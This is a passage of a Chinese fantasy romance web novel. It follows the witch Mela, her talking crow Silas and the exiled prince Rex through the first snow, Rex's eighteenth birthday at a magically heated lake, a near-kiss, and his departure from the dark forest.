“好了,你快上来吧。”梅拉率先爬到塞拉斯的背上,朝莱克斯伸出了手。 以莱克斯的身手,当然不需要靠梅拉多此一举,但他沉默片刻,还是一言不发地抓住了梅拉的手,接着靠自己翻上了塞拉斯的背。 接着他像是掩耳盗铃一样,迅速攥住了一把塞拉斯的羽毛,靠毛茸茸的触感来忽略刚才握住梅拉的手时感受到的那阵柔软。 “对,就是这样,抓稳了,待会塞拉斯飞起来的速度可是很快的。”梅拉赞道。 “塞拉斯,准备起飞。”梅拉又对塞拉斯道。 “桀桀桀,希望莱克斯你可不要恐高喔。”塞拉斯发出一阵不怀好意的笑声,听从梅拉的指令一振翅膀,唰的一下凭空起飞,果然让莱克斯的心跳漏了一拍。 好在塞拉斯很快调整了飞行的姿势,整只鸟平稳地滑翔在空中。 莱克斯第一次体验飞起来的感觉,忽然而至的失重感以及身子似乎总是忍不住往下滑的错觉都使他情不自禁地抿紧了唇。 梅拉则习以为常地双手张开,以全然放松的姿态迎接呼啸而来的风。 “好舒服啊。”梅拉发出一声慨叹。 尤其当她往下看,原本站在地面时看起来高大挺拔的巨树缩小了数倍,整个黑暗森林都仿佛是小小的一角,远处的山巅仿佛眨眼就到,那种无拘无束的自由感简直令她的脸颊忍不住发红。 是太兴奋了的缘故。 这也是塞拉斯不无论带着她飞多少次都不会消失的激动。 “怎么样?莱克斯,飞起来的感觉如何?”梅拉注意到身后的莱克斯一如既往地寡言少语,倒也没有怀疑他是不是真如塞拉斯所说的那样恐高了。 说不定是太激动了才说不出话来的呢。 “……很不错。”莱克斯半晌才道,似乎在组织语言,“飞起来的感觉很不错,好像远离了一切烦恼,只用追逐风的存在。” 仿佛肩上一下子变得轻飘飘的,人也飘了起来。 梅拉忍不住大笑起来,“没错,没错,记住这种感觉,莱克斯,不要总是把自己活得那么沉重。我有时候看着你,总觉得你好像把整个王国都背负在了身上。” “可这个王国有那么多的人呢。” 梅拉忽然转头,这才发现自己的头发原来一直被风吹着打在莱克斯的脸上,而他竟然一直忍着没出声。 “抱歉,你刚才怎么都不说啊。”梅拉只好边笑边把头发拢回来,同时也把话题拉了回来。 “可这个□□活着千千万万的人,总有那么些人能够帮你分担,责任也好,信任也好,让人们的生活变得更好也是……所以你不要总是一个人愁眉苦脸了,小小年纪就把自己活得像个老头一样,连杜克瓦托都比你活得自在。” 莱克斯想辩解他没有愁眉苦脸,却让梅拉抵在唇边的食指噤了声。 “更不要让仇恨蒙蔽你的双眼。任何时候都是。”梅拉轻声道。 “哪怕今后见到了你的仇人,伊莱雅,或是谁都好,也不要被恨意操纵着,做下令你可能会感到后悔的决定。否则等你一个人独处时,只会一遍遍地回到当年那个时刻,积累喘不过气的情绪。总有一天,它会变成骇人的巨兽吞噬你。” “你明白了吗?”梅拉问。 莱克斯的眼珠子往下转,看向梅拉还没拿开的食指。 “呀,忘了忘了,这下你可以说话了。”梅拉见状赶紧缩回手。 只不过她一着急,拢着头发的那只手也放松了,火焰一样燃烧着的红发又拍打在了莱克斯的脸上,包括他刚启封的唇。 莱克斯只好重新闭上嘴,把梅拉的头发默默地拿开。 “哈哈,我真不是故意的……”梅拉看着莱克斯吃瘪的样子笑得快喘不过气来。 还是塞拉斯及时出声,拯救了莱克斯,“梅拉梅拉,我看见小木屋了,我要飞下去啦!” “好噢,我们回家!”梅拉立刻返回身去,拽紧了塞拉斯的一撮羽毛,整个人朝着小木屋的方向俯冲下去。 片刻后,塞拉斯重新变回正常大小,落到了梅拉的怀里。 莱克斯则推开门,为她们让出了一条路。 趁着夜晚还未完全降临,小木屋的煤油灯及时亮了起来。暖融融的一片。 第50章 第 50 章 [小情侣互动] 今年的天气大概格外异常一些。 先有连着两三个月的干旱, 现在又有提前而至的初雪。 梅拉一睁眼,就看到窗沿上落了薄薄一层白雪。 “这还没到十二月呢,怎么就下雪了?”梅拉奇怪地道。 往年就算冬季再提前,也没有提前到十一月的情况。 更何况, 梅拉算了算, 假如十一月就入冬,那冬季岂不是要持续足足四个月?这可真是一个漫长的冬天。 “我们的食物应该还够吧?”梅拉询问莱克斯。 “撑到明年开春没问题, 毕竟之前为了以防万一, 我们在森林里收集了不少能吃的东西。”莱克斯给出了一个令人安心的答案。 当时的做法在现在看来真是一个再正确不过的选择, 霍尔已经很久没有造访过小木屋了, 他之前带来的那批粮食也早就消耗得差不多, 因此梅拉他们不得不靠自己想办法囤积食物。 相应的,这段时间餐桌上的食物逐渐变得单调,基本上是以莱克斯打猎来的猎物, 以及梅拉再三保证吃了绝不会出问题的各种奇奇怪怪的草为主。 不过自从梅拉和塞拉斯都倒霉地中过一次招, 大半夜闹肚子疼后,梅拉便熄了灵机一动,往莱克斯煮好的汤里偷偷丢乱七八糟的茎块、树藤、花苞的心思。 莱克斯还记得自己从汤里捞出这些东西那一言难尽的感觉。 其实以前看梅拉制作魔药时,他就隐隐约约察觉到梅拉似乎热衷于创造前所未有的搭配,但那时候梅拉对烹饪还不感兴趣。 或者说,是充足的食物没有给梅拉尝试的机会。 这会儿为了节省食物,利用黑暗森林的特产自给自足, 反倒让梅拉来了劲。 她非要找到有别于之前的, 能供人正常食用的食物。 只不过看到勺子里捞起来的蛇一样扭曲的树藤,以及颜色格外浑浊但不知是什么植物的茎块,莱克斯想了又想,还是试图委婉地劝说梅拉不要轻易尝试。 可惜他没拦住一门心思要尝试新食物的梅拉。 也没拦住不带脑子跟随梅拉的塞拉斯。 于是夜里, 梅拉和塞拉斯一前一后地疼醒了。唯独莱克斯一夜好梦。 事实证明,这些东西没人吃是因为它们大概真的不能吃。哪怕煮熟了味道还不错,但能调制成药水,和能吃进肚子里毫无反应完全是两码事。 “说起来,刚刚是不是有什么东西掉了?”梅拉的耳朵动了动,好像捕捉到了一丝动静,可当她回头,却没看见地上有任何痕迹。 “是塞拉斯从窗沿上摔下去了。”莱克斯言简意赅地道。 由于他所站的位置正好面对小木屋里唯一的窗子,于是便看见兴冲冲叼着花飞回来的塞拉斯落到了窗台上,正欲呼唤梅拉,不料脚下一滑,整只鸟噗通摔到了地上,这才惊动了背对着窗子的梅拉。 梅拉赶紧扑到窗边,低头一看,塞拉斯正晕晕乎乎地站起来,脚下站都站不稳,还惦记着要把摘来的花献给梅拉。 “谢谢你塞拉斯,这花真漂亮,我很喜欢。”梅拉笑盈盈地伸手,接过塞拉斯的花,放到鼻子底下嗅了嗅,连花瓣上都透着一股初雪的清冽味道。 “不过你为什么突然要给我送花了?” 平日里,塞拉斯对梅拉献殷勤通常局限于不要钱似的说好话,以及当梅拉与莱克斯产生不同的意见时坚定地站在梅拉这一边,却鲜少像今天这样直接付诸于实际的行动。 “因为……今天下雪了,再不送的话,接下来好几个月都只能看到雪花了。”塞拉斯总算缓过来劲,听到梅拉的话,又难得扭捏起来。 它今早一觉醒来,发现窗外下雪了,连早饭都顾不上吃,就急急忙忙地飞了出去,只为了给梅拉带回冬季前最后一束花。 否则接下来只能连着好几个月对着满世界单调的白色发呆了。 “这样啊。”梅拉看向不远处的树梢上,同样挂了浅浅一层雪,深感塞拉斯说得没错。 这雪来得太快,也下得太急了。 几乎是一眨眼,屋檐上、台阶下,到处都盖上了积雪,屋子里的壁炉无风自燃,熊熊烧起的蓝色火焰把属于冬日的寒冷隔绝在外,只留一室的温暖。 因此梅拉哪怕只穿着一条单薄的衬裙,也能自在地在屋子里走来走去,而不会感到一丝冷意。 “冬天果然就应该这样窝在屋子里取暖。”梅拉坐到了摇椅上。 摇椅则因为她的动作,开始像小船一样微微摇晃起来。 “没错,没错,还要在壁炉前吃烤栗子,让我就这么呆一个冬天也不会腻。”塞拉斯边说边剥开一颗刚烤熟的栗子,露出黄澄澄的内里和扑鼻的甜香。 这是之前贮藏起来的野栗子。 因为野栗子树是塞拉斯发现的,而打落满树的栗子是梅拉和莱克斯在出力,因此最后收获的满满一袋子栗子被平均地分成了三份。 梅拉和莱克斯都把属于自己的那份栗子吃光了,偏偏塞拉斯不舍得,哪怕再嘴馋,到底还是忍住了。 那会儿梅拉还不明白,现在她懂了,原来塞拉斯等的是这一刻。 不得不说,烤熟的栗子真香啊,甜甜的香气溢满了整个屋子,连角落都不放过。 梅拉闻着味,简直都想躲到屋外去了。 否则她真担心自己忍不住会对塞拉斯的栗子动手。 “咦,莱克斯你是要出去吗?” 正想着,梅拉就看到莱克斯站了起来,以他的定力不应该会嘴馋塞拉斯的栗子才对啊? “嗯,我出去把雪清一清。否则到了夜里,积雪有可能会没过台阶,把门给堵了。”莱克斯解释道。 噢,原来是为了这个。 “那我跟你一起好了。”梅拉也站了起来,找出了她的羊毛披肩裹到身上。 “其实我一个人就够了。”莱克斯没想到梅拉竟然主动提出要帮忙。 难道今晚的月亮要从东边出来吗? “你那是什么眼神?我来给你帮忙莫非你不乐意吗?”梅拉凑了过来,眼神十分危险。 “没什么,只是觉得外面太冷了,你穿成这样或许会着凉。”莱克斯迅速的为自己找好了一个妥帖的理由。 他建议道,“不如再戴上那副羊绒手套吧?” “这样好像不太方便。”梅拉试着戴上手套后挥舞了一下铲子,总觉得隔了一层,有些费劲。 不过等她出了屋子,就发现莱克斯说得没错,若是不戴手套空手站在雪地里,没一会儿手就得冻僵,发紫。 “你清理门口这块空地上的积雪就好,屋子后面由我来。”梅拉以小木屋为中心,一人划分了一半需要清理的区域。 莱克斯没有意见,很快就有了动作。 梅拉则提着铲子去了屋后,一点点将积雪铲到更远的地方去。 清理了大概三分之一的地方后,梅拉有些累了,停下来撑着铲子休息。 她伸出手,接住了一片悠悠飘落的雪花,仿佛隔空感受到了一阵寒意。 那是三岁的小梅拉,背着威普多和艾尔薇,偷偷将保暖的手套摘下来,跑到门外用双手盛住一片又一片的雪花。 掌心的温热很快将雪花融化,冰冷的雪水激得梅拉一抖,赶紧将手甩了甩,顺势把水也甩了出去。 “梅拉,你在外面做什么呢?”艾尔薇从门后走出来,将急急忙忙重新把手套给戴上的小梅拉抓了个正着。 “这么冷的天你还这么调皮,小心手上长了冻疮后又痒又疼。”艾尔薇无奈地道。 小梅拉嘻嘻地笑了两声,忙说不会的,她只玩了这么一小会儿功夫。 艾尔薇耐心地问她一小会儿功夫是多久。 小梅拉笑着伸手抓住又一片雪花,摆到艾尔薇面前,说,就是等它融化这么久。 “呼。”梅拉呼出一阵白气,看着它打着旋飘向远方。 “门口的积雪我已经清理得差不多了,剩下的需要我帮忙吗?”莱克斯提着铲子走了过来,不曾想撞见了梅拉发愣的瞬间。 “怎么了吗?”莱克斯也跟着怔了一下。 “没什么,就是忽然想起了一些高兴的事情。”梅拉说着,伸手接住一片雪花,递到了莱克斯面前。 尽管不明白梅拉这是什么意思,但莱克斯还是摘下手套,小心翼翼地试图捻起这片小小的雪花。 刚触碰到雪花时的冰冷让莱克斯的手下意识地往回瑟缩了一下,然而他很快就克制住了向往温暖的本能,将雪花转移到了自己的手心里。 他用疑惑的眼神看向梅拉,似乎在问然后呢? 梅拉却摇了摇头,说她可没什么其它意图,只是忽然觉得这片雪花格外好看,就送给他了。 不过,“莱克斯,你真的很倔强啊,明明又不是什么重要的东西,被冻到的那一刻放弃不就好了。”梅拉笑着挑眉道。 为什么非要忍着寒冷也要将它放入手心呢?还傻兮兮地摘下了手套。 “小心长冻疮喔。” “或许就跟即使忍受着被灼伤的风险,也要冒火取出栗子的那只猫一样吧。”莱克斯听了,却只是淡淡地回了一句在梅拉听来有些莫名其妙的话。 “什么猫?我怎么没有听说过哪里有这样一只猫?它是因为冒火取出栗子这件事而出名的吗?”梅拉好奇地追问。 莱克斯定定地看了梅拉片刻,却摇头道,“我也记不太清了,是曾经在书上看过的一个故事。” “好吧。”梅拉有些失望,却没说什么,和莱克斯合力将剩下一点积雪清理干净,重新回到了温暖的屋子里。 蓝色的火焰仍然在壁炉里熊熊燃烧着,塞拉斯的栗子倒是已经吃完了,只不过空气中仍然残留着些许属于栗子的甜香。 莱克斯不合时宜地又想起了火中取栗的那只猫。 想要取到栗子的猫,想要得到梅拉手中那片雪花的他,在冒险的那一刻,心中燃起的其实是同一种欲/望。 是非得到不可的欲/望。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 50-60 第51章 第 51 章 [莱克斯的成年生日]…… 尽管杜克瓦托提前送来了礼物, 但莱克斯的生日实际上是在十二月初。 只不过日子过得飞快,明明昨天好像才开启十一月的篇章,今天竟然就到了十一月的最后一天。 梅拉数了半天,确认没有数错日期后, 小心翼翼地避开莱克斯, 拉着塞拉斯到树下讲悄悄话。 “你有给莱克斯准备礼物吗?”梅拉问塞拉斯。 塞拉斯茫然地用翅膀挠了挠脑袋,“当然。” 以往的莱克斯是没有得到塞拉斯的礼物这一待遇的, 但谁让即将到来的是他十八岁的生日呢, 成年的意义不管在人类的世界还是乌鸦的世界都格外重大。 因此塞拉斯还是屈尊为莱克斯准备了一样礼物的。 “是什么?”梅拉追问。 “唔, 我把我这些年收藏的有点价值的石头都挑出来了, 等莱克斯离开的时候还能那它们卖点钱。”塞拉斯老老实实地道。 它不懂什么王位争夺, 也不懂莱克斯回去后要面临的是怎样的腥风血雨,它只知道莱克斯现在浑身上下穷得叮当响,只好忍痛将自己宝贝的石头拿出来, 给莱克斯凑一凑路费, 好歹回去的路上别饿着。 当然,这些石头它都提前找莱克斯鉴定过,人类觉得值钱的它才挑了出来,尽管塞拉斯觉得大多数人真是没眼光,它觉得顶顶漂亮的石头,在他们的眼里竟然真的就只是一块破石头。 “梅拉呢?你给莱克斯准备了什么礼物?”塞拉斯好奇地歪着脑袋,想知道梅拉的答案。 梅拉沉默片刻, 心虚地摸了摸鼻尖, 没好意思说自己其实还没准备好要送给莱克斯的礼物。 这也不能怪她,成年礼物这种东西,又要别具一格,又要送到莱克斯的心里去, 梅拉想了半天也没想出个一二三来,干脆丢到脑后,决定等待忽然而至的灵感。 说不定她什么时候就有想法了呢? 遗憾的是,眼见着莱克斯的生日一步步靠近,梅拉还没等来她的灵感。 “算了算了,等到莱克斯生日那天,你记得带他到这个地方……” 梅拉把塞拉斯抱入怀里,凑到它耳边密语了一阵,听得塞拉斯频频点头。 于是,等到莱克斯照常第一个睁开眼,率先看到的就是枕头旁边放着的一个木盒。 木盒的做工很一般,也没有雕刻华丽的花纹,莱克斯将它拿起来,能听到盒子里传来碰撞的声音。 他打开盒子一看,发现里面装的果然是各种各样的石头,不用想也知道是塞拉斯的手笔。 不过,莱克斯仔细地看了一遍,发现这些竟然都是一些还算卖得上价的矿石,显然是塞拉斯特意挑给他的。 塞拉斯这是什么意思?莱克斯不禁沉吟,难道是觉得他作为人类只能欣赏这种能换钱的石头吗? 莱克斯虽然不知道塞拉斯到底收藏了多少块石头,但他记得塞拉斯找他鉴定过的那些石头里,有好几块不输于纯粹宝石的美丽。 “怎么样?看到我送给你的礼物了吗?是不是很感动?” 在莱克斯煮早饭的时候,塞拉斯扑簌簌地落到附近的柜子上,盯着莱克斯得意地瞧。 “我可是冥思苦想了好久,才决定要送你这份礼物的。你不是说把它们卖了至少能换十几枚银币吗?这些钱应该足够你回家了吧?” 闻言,莱克斯用勺子搅拌汤底的动作一顿,原来塞拉斯送他石头是这个目的,但它说错了,王宫可不是他的家,那和龙潭虎穴没有区别。 不过。 “谢谢你的礼物,塞拉斯。但我不会卖掉它们的。”莱克斯道。 “为什么?”塞拉斯不明白莱克斯为什么要拒绝它的好意,“虽然我是很宝贝这些石头没错,但如果你舍不得,我之后再找些新的漂亮石头送给你好了。” “不用了,我只是还没到要靠卖你的宝贝石头才能回去的地步。” 莱克斯无意煽情,他确实早有打算,但这就没必要仔细地和塞拉斯进行解释了。 “好吧,那你一定要好好珍藏我送你的石头,我连梅拉都没舍得给呢。”塞拉斯不放心地再三叮嘱道。 提到梅拉,莱克斯今早醒来后就不曾见到她的身影,如今眼看早餐都端上桌了,还是没看到她人。 莱克斯不由敲了敲桌面,询问一看就知道点什么的塞拉斯,“梅拉去哪了?” “不用你管,总之她有事情要忙。”塞拉斯深知自己多说多错,干脆闭紧了嘴巴,防止莱克斯提前从它的嘴里成功套话。 梅拉说了,让塞拉斯下午再带着莱克斯去找她,那塞拉斯就绝不会提前露馅。 想到这,塞拉斯骄傲地挺起了胸膛,为自己的机智自得不已。 俨然从塞拉斯的举动猜出梅拉是在为他准备生日惊喜的莱克斯:“……” 他非常怀疑梅拉之所以敢放塞拉斯看着他,是因为根本没告诉塞拉斯她要准备什么惊喜,也就不怕塞拉斯无意中说漏嘴了。 同时,莱克斯的心底不可避免地升起一丝期待。 因此当塞拉斯忽然像打了鸡血一样飞起来,督促他离开小木屋时,莱克斯一句话都没有多说,飞快地打开门走了出去。 靴子埋进了厚厚的雪地里,却并没有影响莱克斯前进的脚步。 他走得甚至比飞着的塞拉斯快多了。 见状,塞拉斯也不飞了,落到他的肩上偷懒,只时不时地张嘴指挥他一路该往哪里走去。 最后,他们来到了一处湖泊附近。 这个湖泊不算大,绕着走一圈大概花不上一刻钟,奇异的是本该冻住的水面不仅没有冰封起来,甚至还腾腾地冒着热气。 看起来就像一座小型的温泉似的。 “生日快乐,莱克斯。”梅拉从某棵大树后突然冒出来,笑意盈盈地道。 “所以这就是,你送给我的礼物?”莱克斯艰难地开口。他打量了一圈四周,发现除了这处湖泊外,也没有别的东西值得梅拉如此大费周章了。 但这个礼物带给莱克斯的惊讶实在不小,远胜于梅拉为他准备礼物的惊喜。 “没错,为了把这处湖泊清理干净,又把湖水在你们来之前加热完毕,我可是费了不少的功夫呢。”梅拉打了个响指,很为自己的精心准备而骄傲。 没有什么比在寒冷的冬日里泡一泡温泉更享受的事情了。 梅拉十分自信地肯定,即使莱克斯到了老得只能躺在床上的年纪,也绝不会遗忘这段回忆。 “……可我怎么觉得这有点像把莱克斯煮了呢?”塞拉斯煞风景地道。 说着,它眼疾手快地捞出一条蔫了的水草,“看,还有配菜。” “……呀,没想到这里竟然还有漏网之鱼啊。”梅拉迅速从塞拉斯手里抓过水草,丢到身后,假装一切无事发生。 “好了,莱克斯你不要把塞拉斯的话放在心上,赶快下去泡吧,否则加热咒失效了,水面很快就会重新冰封起来的。”梅拉一面催促莱克斯,一面捂住了塞拉斯的嘴巴,防止它的乌鸦嘴里再冒出什么不够动听的话来。 莱克斯犹豫了一下。 “我……” 他看了看梅拉,垂下眼帘,始终定定地像个木头人一样站在原地,没有其它的动作。 “你什么?”梅拉话刚出口,就意识到了莱克斯是在害羞。 她连忙转过身,同时保证绝不会偷看,也不会让塞拉斯偷看,让莱克斯快点下去泡着。 身后顿时传来一阵窸窸窣窣衣料摩擦的声音,接着是水声。 “怎么样?舒服吗?”梅拉确定莱克斯下水之后,笑眯眯地转回来,凑到了边上蹲着。 “……挺舒服的。”莱克斯让梅拉的视线看得不太自在,默默地往后挪了挪。 他总觉得梅拉的目光有意无意地落在了他的胸前,有一小部分没能浸入水中。 意识到被莱克斯发现了的梅拉同样默默地收回视线,脑海中却忍不住回忆刚才瞥见的那些姣好的线条。 既有少年的朝气蓬勃,又有青年的沉稳可靠。 “梅拉,你在想什么呢?怎么感觉表情好奇怪。” 早就被松开嘴的塞拉斯不知道两人为什么忽然开始沉默,莱克斯就算了,梅拉的表情却让它看得有些不明所以。 就好像尝到了美味的烤肉一样。 “在想之后能不能让莱克斯做顿烤鸟翅吃。”梅拉用饱含威胁的笑容阻止了塞拉斯极有可能出现的第三次煞风景的行为。 不知道自己说错了什么但还是害怕得打了个激灵的塞拉斯伸出翅膀捂住嘴,表示除非梅拉问它,否则接下来它再也不开口了。 加热咒的效果并没有持续太久,莱克斯的温泉只泡了大约三刻钟,湖水的温度就渐渐有了冷下来的趋势。 从温泉里出来的莱克斯利落地换上衣服,同梅拉走在了回去的路上。 在他们踏入小木屋的那一刻,壁炉里自动燃起火,很快将屋内烘得温暖如春。 梅拉劳累了整整一个早上,这会儿瘫在摇椅里懒得动弹,嘴巴倒不停地指使着塞拉斯和莱克斯,一个给她拿吃的一个给她拿喝的。 塞拉斯试图反抗一下,拿出莱克斯当借口,“梅拉,你是不是有点过分了,莱克斯的生日还没过呢。” 怎么能把过生日的人指使得团团转。 “送完礼物之后,这个生日难道不算已经结束了吗?”梅拉诧异地反问。 “噢,我忘了,还有丰盛的晚餐呢。那麻烦莱克斯你了。”梅拉轻飘飘地吩咐道。 “至于塞拉斯你,就去给莱克斯打下手吧。” 见塞拉斯露出不情不愿的表情,梅拉故作惊讶地道,“怎么了?塞拉斯,难道你忍心看着莱克斯在他生日这天一个人干这么多活吗?那你也太过分了。” “我我我——我这就去帮忙。”塞拉斯是说不过梅拉的,只好悻悻地真的给莱克斯打下手去了。 好在晚上确实端上来了一顿丰盛的晚餐,塞拉斯吃得肚子溜圆,差点因为没办法消化完这一肚子的食物而睡不着觉。 梅拉的脸却让酒精熏得酡红。 她开了杜克瓦托送来的那瓶酒。 确实是值得回味的好酒。 梅拉没忍住,一下子喝了满满两大杯,顿时开始醉醺醺地盯着空气发呆。 莱克斯来扶她。 她就盯着莱克斯的脸直看。 “莱克斯。”梅拉忽然喊他的名字。 “嗯?”莱克斯露出疑惑的眼神。 “你长大了呢。”梅拉慢悠悠地道,用那种意味深长的目光绕着他深邃的眉眼,薄薄的唇,以及凸起的喉结打转。 那是她此前从未对莱克斯展露过的神态。 以一个女人对男人的打量。 莱克斯不受控制地滚动了一下喉结,狼狈地低下头,不敢与梅拉对视。 “对,我长大了。”他道。 同时忍不住猜测梅拉接下来要说什么。 都说酒后吐真言,她刚才那句话是故意这么说的,还是? 结果莱克斯等了半天,等到的就是梅拉靠在他的胳膊上,沉沉地睡了过去。 莱克斯:“……” 所以她刚才其实是在发酒疯? 第52章 第 52 章 [莱克斯的离去] 积雪的消融如同它降临时那样突然, 随着洁白退去,露出嫩绿的草根,潺潺流动的溪水旁也多了动物们的身影。 刚出生的小鹿在母亲的守卫下安心地低头喝水,一只麻雀扑扇着翅膀落到树枝上, 好奇地盯着水里的鱼群忽然一甩尾巴往前游动了几寸。 梅拉没想到会在采摘草药的路上遇到黑狼带着它的孩子们在学习如何捕猎。 作为父亲的那只大黑狼一如既往地威武霸气, 气势骇人。 只不过一见到梅拉,它立刻收敛了嘴角咧开的獠牙, 乖顺地任梅拉扑过来将它从头到尾巴胡乱揉了一通。连原本盯上的猎物也放跑了。 跟着它身后的几只小狼则疑惑地看着梅拉, 不知为何下意识地想要亲近她, 却又让防备止住了凑上去的脚步。 看上去颇为踟蹰。 注意到这几只小狼, 梅拉毫不客气地抓过其中一只抱在怀里, 抚弄和它的黑狼父亲相比更加柔软的绒毛。 不出意外的话,这就是她当初帮助母狼生下的那几只小狼,如今倒是被养得很不错, 即使经历了如此漫长的冬季也没有瘦脱相, 仅仅是皮毛有些发黄潦草。 小狼让梅拉的举动吓了一跳,情不自禁地开始在她的怀里扑腾,试图逃脱这双古怪的会在它身上到处乱摸的爪子。 没想到黑狼却帮助梅拉镇压了不听话的孩子,还把另外的孩子叼起来往梅拉怀里送。 意思很明显,都给你玩,随便玩。 梅拉高高兴兴地将几只毛茸茸统统蹂躏了一遍,看它们像小狗一样发出脆弱的呜呜叫唤, 如果不是记起来还有正事要办, 她估计能就这么浪费一整天的时光。 临了,梅拉依依不舍地道别了黑狼和它的孩子们,跨过低矮的灌木丛,踩着溪流上的鹅卵石, 一蹦一跳地渡过蜿蜒的河流,赶在月亮升起之前来到了成片的夜光花生长的地方。 这一回,她的身边没有跟着塞拉斯。 今天是莱克斯在黑暗森林度过的最后一晚,听到梅拉要按照惯例前去采集夜光花,塞拉斯惊讶得嘴巴能塞下一整个鸡蛋。 按照常理来说,梅拉不应该留下来,抓紧时间和莱克斯道别吗? 难道在她的心里,每年都能摘一次的夜光花比以后很可能再也没办法见面的莱克斯要重要吗? “停停停,把‘每年都能摘一次’换个说法就是,一年只有一次采摘夜光花的机会,所以这是很珍惜的机会好不好?”梅拉不得不打断塞拉斯,以免它继续编造是非,把她说得像是一个多么冷酷的人一样。 莱克斯要离开,她也有不舍,毕竟是朝夕相处了这么久的人,但他的离开属于早就板上钉钉的一件事,所以她已经提前做好了分别的准备。 梅拉还以为塞拉斯也一样。 谁让它是嘴上最巴不得莱克斯离开的那一个。 “那不一样。”塞拉斯的声音闷闷的,像快下雨的铅灰色天空,一层乌云压着另一层乌云,连空气都难以穿透其中。 “就算知道莱克斯要离开,和真的要面对他离开,完全是不一样的心情。” 塞拉斯从没有经历过分别。 因此直到这一刻,意识到莱克斯第二天一早就要离开时,塞拉斯才知道看着熟悉的人离开是多么忍不住眼泪的一件事。 它甚至想要扑到梅拉怀里大哭一场。 也因此,梅拉如此冷静的态度在塞拉斯的眼里显得格外冷漠。 “没关系,塞拉斯,你以后会习惯莱克斯不在的那些日子的。”梅拉体贴地将塞拉斯搂入怀中,一下又一下地抚摸过它身上的羽毛,安慰道。 就好像,她当初习惯艾尔薇与威普多的离开一样。 * 梅拉带着满满一篮子新鲜的夜光花回来了。 令她意外的是,小木屋前的空地上,站着一个挺拔的背影。 “你怎么还没睡?”梅拉步履轻快地走到莱克斯的身边。 “在等你回来。”莱克斯道。 “塞拉斯已经睡了,我想你或许需要有个人帮忙一起处理夜光花?” “没错,我确实需要你的帮忙。”梅拉的声音含着笑意,明明已经看透了莱克斯的意图,却体贴地没有戳破。 最后一晚了,她收敛了那些喜欢逗弄莱克斯的坏心思。 没想到这样反而让莱克斯有些不自在起来。 他想听她再说点别的什么。 什么都好。 毕竟等他离开,就只能通过回忆她说的话来怀念待在黑暗森林的这几年了。 可惜梅拉没有如莱克斯所愿,而是专注地投入到了炼制药水的过程中。 莱克斯捏着几朵夜光花,看着梅拉忙碌在坩埚前的身影哑然失笑,也对,这就是梅拉,她的洒脱有时令他都自愧不如。 有了莱克斯打下手,梅拉今夜的任务轻松许多,至少能在困得不行时稍微打个盹。 她坐在椅子上,头枕着椅背,就这么睡了过去。 在此之前,梅拉再三叮嘱莱克斯,一定要在锅里的药水变色后立马叫醒她。 莱克斯点头答应了。 只是忍不住在梅拉睡着后,用视线一点一点描摹她的五官。 梅拉的长相过于艳丽,第一次见到她的人还真容易被她唬住,只是相处久了,就能发现梅拉其实很容易心软。 她总是在对需要她的人伸出援手。 不管是霍尔也好,还是杜克瓦托也好,甚至是莱克斯、巴奇、格温蒂尔……莱克斯常常觉得,以前的自己竟然会相信梅拉说过的那些仿佛威胁一样的话,真是……难以理解。 莱克斯走到梅拉面前,他故意压低了脚步声,因此梅拉的眼皮都没动一下,仍旧安然地熟睡着。 一副毫不设防的模样。 也让莱克斯控制不住地想要叹气。 她真是太信任他了。 可任何一个男人都是不值得信任的。 尤其是一个对她怀抱着不可告人心思的男人。 “你到底亲不亲了?”梅拉忽然睁开眼,眼神清明,一点也没有刚醒过来的痕迹。 “你刚才是在装睡?”莱克斯这下是真的惊讶不已,眼里甚至有点罕见的茫然。 他不理解梅拉为什么要装睡。 “也不算装睡,我刚才是真的困了。”梅拉否认道。 只是她顺便也想给莱克斯一个机会。 梅拉又不是真的不谙世事的小姑娘,要知道以前追求她的人四双手都数不过来。 内敛的、奔放的、含蓄的、露骨的情意,梅拉见过不少。莱克斯那点青涩的感情,自然也不可能瞒得过她。 虽然不知道莱克斯喜欢她什么,但梅拉不介意给莱克斯一个表白的机会。 当然,她答不答应则是另一回事了。 只不过梅拉没想到,莱克斯竟然趁着她睡着时忽然凑了过来,温热的呼吸都快洒到她的脸上了,显然不只是想要表白这么简单。 但,如果是莱克斯的话,梅拉还是忍住了没有睁开眼。 结果莱克斯却后退了。 感受到另一道呼吸的远去,梅拉干脆地睁开眼,不想装了。 也就直接将毫无防备的莱克斯吓了一跳。 听到梅拉那句“你到底亲不亲了”,莱克斯默了片刻,“……我还能再拥有一次选择的机会吗?” “你觉得呢?”梅拉反问他。 看来是不能了。 莱克斯轻轻叹了口气,后退几步,拉开了与梅拉的距离,又恢复了往日淡然的神态。 梅拉也顾不上和他掰扯其它的事情了,她眼尖地看到坩埚里的药水正好变色,连忙抄起粗长的勺子来到边上开始逆时针搅拌。 “莱克斯,把处理好的夜光花丢进来,我说停你再停。”梅拉吩咐道。 莱克斯立刻手脚麻利地按她的吩咐去做。 刚才那可以称得上有些暧昧的一幕就如同叶子上的露珠,随着坠落而“啪”的一声消失了。 以至于第二天一早,塞拉斯醒来,完全不知道梅拉与莱克斯之间发生过什么事,只知道他们利用一晚上的时间将橱柜上原本空出的位置填得满满当当,全是各种新的药水。 有时候塞拉斯真想捂着额头呻/吟,也只有莱克斯愿意陪着梅拉这样疯狂了。 什么煽情,什么依依不舍,完全不存在的。 在用过早餐之后,梅拉甚至一脸平静地和莱克斯说了再见。 而莱克斯呢?同样镇定地同梅拉道了再见,然后头也不回地离开了小木屋。 看着莱克斯的身影就这么消失,被梅拉抱在怀里的塞拉斯沮丧地收回视线,“好了,莱克斯真的走了,我们回去吧。” “别这么低落嘛,莱克斯走了,我们只是要回到只能吃土豆和蘑菇汤饱腹,没人将屋子内的东西打理得井井有条,你也没办法把活都推给别人干的日子……” 见塞拉斯的情绪如此低落,梅拉便开口安慰了它几句。 结果梅拉越说,塞拉斯越觉得眼前一阵阵发黑,恨不得求莱克斯马上回来。 它不要过这样的苦日子啊! * 黑暗森林外围,一个高大的男人牵着一匹养得格外精神的黑马,静静地站在此处,等待着一个终于要归来的人。 远远的,见到枝叶掩映之后出现了陌生的身影,以及逐渐露出的熟悉的面容,男人浑厚的嘴唇颤了颤,喊出了那声久违的: “莱克斯殿下!” 第53章 第 53 章 [决定离开黑暗森林]…… “莱克斯, 给我泡一杯花草茶来——” 下意识地将茶杯往后举,悬在半空中好一会儿,却没有人主动接过去后,梅拉才意识到自己又忘了莱克斯已经离开了。 今天是莱克斯离开的第五天, 梅拉和塞拉斯磕磕绊绊地捡起了莱克斯不曾到来前的生活。 当塞拉斯手忙脚乱地煮出一锅糊了的豆子汤后, 